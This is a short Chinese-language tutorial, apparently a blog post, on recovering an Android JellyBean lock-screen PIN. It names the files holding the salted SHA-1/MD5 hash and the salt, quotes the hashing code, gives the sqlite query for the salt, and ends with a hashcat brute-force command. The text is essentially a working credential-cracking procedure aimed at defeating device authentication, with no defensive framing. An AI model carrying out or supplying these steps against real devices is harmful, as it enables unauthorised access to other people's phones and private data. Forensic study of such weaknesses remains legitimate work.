JellyBean开始,Android的锁屏口令以hash形式存放,口令通常是4位数字(对于多位复杂口令方法也是一样的),暴力破解完全可行
锁屏口令的hash存放在/data/system/password.key,形如
11 36 65 6D 5C 67 18 C1 DE FC 71 B4 31 B2 CB 56 52 A8 AD 55 0E 20 BD CF 52 B0 00 02 C8 DF 35 C9 63 B7 12 98
共72个字符,包含Sha1和MD5两个hash,参考Android源码
byte[] saltedPassword = (password + getSalt()).getBytes();
byte[] sha1 = MessageDigest.getInstance(algo = “SHA-1”).digest(saltedPassword);
byte[] md5 = MessageDigest.getInstance(algo = “MD5”).digest(saltedPassword);
hashed = (toHex(sha1) + toHex(md5)).getBytes();
前40位是Sha1,后32位是MD5,计算(口令+salt)得到hash
salt的存放位置为/data/system/locksettings.db,使用sqlite3打开数据库,输入
select value from locksettings where name='lockscreen.password_salt'
就得到形如3582477098377895419的salt值了,最后将其转化为小写的16进制64位整数31 b7 83 f0 b0 c9 5d fb
有了这些信息用就可以用hashcat跑了,用MD5部分(0E 20 BD CF 52 B0 00 02 C8 DF 35 C9 63 B7 12 98)爆破的指令为
cudaHashcat64.exe -m 10 0E20BDCF52B00002C8DF35C963B71298:31b783f0b0c95dfb -a 3 ?d?d?d?d